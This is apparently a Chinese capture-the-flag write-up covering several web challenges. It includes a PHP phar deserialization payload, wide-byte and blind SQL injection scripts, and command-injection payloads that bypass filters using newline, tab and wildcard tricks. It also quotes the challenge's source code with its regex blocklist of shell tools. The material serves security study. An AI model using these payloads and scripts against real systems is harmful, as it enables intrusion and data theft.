收获颇丰,这次aurora把web给ak了,希望下次还能继往开来,勇攀高峰
签到题
/upload/
/www.zip
反序列化,
运行如下,保存为phar.jpg
| <?php |
| |
| class upload{ |
| |
| public $filename; |
| } |
| |
| $a=new upload(); |
| $a->filename = 'php://filter/convert.base64-encode/resource=/flag'; |
| |
| $phar=new Phar("phar.phar"); |
| $phar->startBuffering(); |
| $phar->setStub('GIF89a'."__HALT_COMPILER();"); |
| $phar->setMetadata($a); |
| $phar->addFromString("test.txt", "test"); |
| $phar->stopBuffering(); |
http://xxxx?img_name=phar://./upload/phar.jpg
即可getflag
看到gbk。怀疑宽字节。
%df%27
但其实赛后发现这样想才对:
输入admin回显密码错误
输入admin'回显用户名不存在
这说明sql查询了admin'这个字符串
在排除预编译的情况下,只有addslashes会转义单引号插入数据库中,产生这个效果
而addslashes优先考虑宽字节注入,如果这个都不行的话没有其他攻破的方法了
尝试后可以看到报错,尝试如下盲注
| import requests |
| import urllib |
| |
| url = "http://39.105.13.61:10808/login.php" |
| flag = '' |
| |
| for j in range(1,100): |
| for i in range(32,126): |
| data = {"password":"thai", |
| "username":"thai"+ urllib.parse.unquote("%DF") +"'^if(ascii(substr(user(),{0},1))>{1},exp(999999),1)#".format(j,i)} |
| resp = requests.post(url=url,data=data) |
| if "exp(999999)" not in resp.text: |
| print("[+]"+flag+chr(i)) |
| flag = flag +chr(i) |
| break |
| else: |
| print("[-]test...") |
结果发现select这些要双写绕过,注出来后密码是md5的,没用,尝试union 联合查询登录
十六进制绕过单引号
| username=-admin%df'ununionion/**/seselectlect/**/1,0x61646d696e,0x3231323332663239376135376135613734333839346130653461383031666333#&password=admin |
为啥这样可以,是因为回环验证的
后端代码猜想(伪代码 ):
| $res = mysql_querry("select password from users where username='"+$_POST['username']+"';") |
| if($res['password']===md5($_POST['password'])){ |
| print("success! this is your flag{xxx}") |
| } |
0x61646d696e这个是admin的md5编码,对上就行,不过单引号被过滤,所以要十六进制编码下
爆破一下,密码admin123
fuzz一下过滤这些
这是堆叠注入常用的,既然暗示堆叠注入,往这里绕过很快想到%0a
cat过滤了,用nl,rev,tac,base64都可以绕过
空格被过滤,用%09
kylin被过滤了,用kyli?绕过
| ?ip=123%0acd%09k*%0abase64%09* |
最后我读了下源码(直接tac *),把它完整的复现起来
完整的源码不拿出来了,要的私聊
如果想要复现的话可以拉取我的镜像
| docker pull ththaiai/5space2022_letmeguess |
| docker run -p 你的端口:80 -d ththaiai/5space2022_letmeguess |
核心代码
| $res = FALSE; |
| |
| if (isset($_GET['ip']) && $_GET['ip']) { |
| $ip = $_GET['ip']; |
| $m = []; |
| if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) { |
| |
| $cmd = "ping -c 4{$ip}"; |
| |
| exec($cmd, $res); |
| } else { |
| $res = 'Hacker,存在非法语句'; |
| } |
| } |
exec这个函数
就是只输出最后的内容,它可以堆叠注入,%0a可以作为一条命令的结束
一开始有个疑问,为什么ping正常的地址没有回显呢,当时黑盒的时候,拿过dns测试,结果也无收到请求,怀疑是不出网
后来发现windows本地随便瞎写一个地址,它连报错都有回显
(后面发现win下-c需要管理员权限,我嫌麻烦就把它去掉了,不影响的)
请求正常地址,会先等待
最后输出
所以这里考虑一个点,题目环境的ping没有安装(或者ping的功能被ban了)
随便拉个没装ping的镜像:theeastjun/xdebug3:7.4-apache
随后成功复现
当然这里面不排除有win的影响,一般win报错也会有一定回显,但是php-apache镜像正常只要不改配置都是不回显报错信息的
经过尝试,exec使用%0a只有在linux下可以复现成功,win下无论如何都会输出ping的内容,%0a后的东西直接被忽略(弹计算器也不行)
其他payload
斜杠也可以使用${PATH%%u*}
绕过
这里由于时间关系,当时直接猜表名users,字段id,username,password
如果想注入得出可用如下脚本
| import requests |
| |
| burp0_url = "http://39.106.138.251:9275/api/api.php?command=login" |
| burp0_cookies = {"PHPSESSID": "8geum53sbt0u2gtgi9sffpcci3"} |
| burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": "http://39.107.115.3:30533", "Connection": "close", "Referer": "http://39.107.115.3:30533/"} |
| |
| flag = '' |
| |
| while True: |
| |
| for i in range(32, 127): |
| |
| burp0_data = {"username": "admin\\", |
| |
| |
| "password":"or(case(1)when((binary(0x{}),null,null)<(table(users)))then(cot(0))else(1)end)#".format((flag + str(hex(i)[2:]))) |
| } |
| print (burp0_data['password']) |
| res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, allow_redirects=False) |
| |
| if "success" not in res.text: |
| flag += str(hex(i)[2:]) |
| print (flag) |
| break |
| if i==126: |
| print (flag) |
| exit() |
绕单引号,用hex编码就好
| import requests |
| |
| url="http://39.106.138.251:9275/api/api.php?command=login" |
| s = "" |
| |
| |
| while True: |
| for i in range(32,128): |
| data = { |
| "username": "xxx\\", |
| |
| |
| |
| |
| |
| |
| "password": f"^cot(((table\x0dusers\x0dlimit\x0d2,1)>(3,binary(0x{s+hex(i)[2:]}),0,0)))#" |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| } |
| res = requests.post(url,data=data,allow_redirects=False) |
| |
| print(data) |
| |
| if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef!" not in res.text: |
| s+=hex(i-1)[2:] |
| print(s) |
| break |
账号 Flag_Account
密码G1veY0u@_K3y_70_937_f14g!!!
之后那个正则,^
只作用在/flag上,所以//flag就不是以/flag开头的字符串了,成功绕过
读取//flag
交wp的时候主办方过来问我们细节,这时经过提醒发现是非预期,预期解是/proc/self/root/flag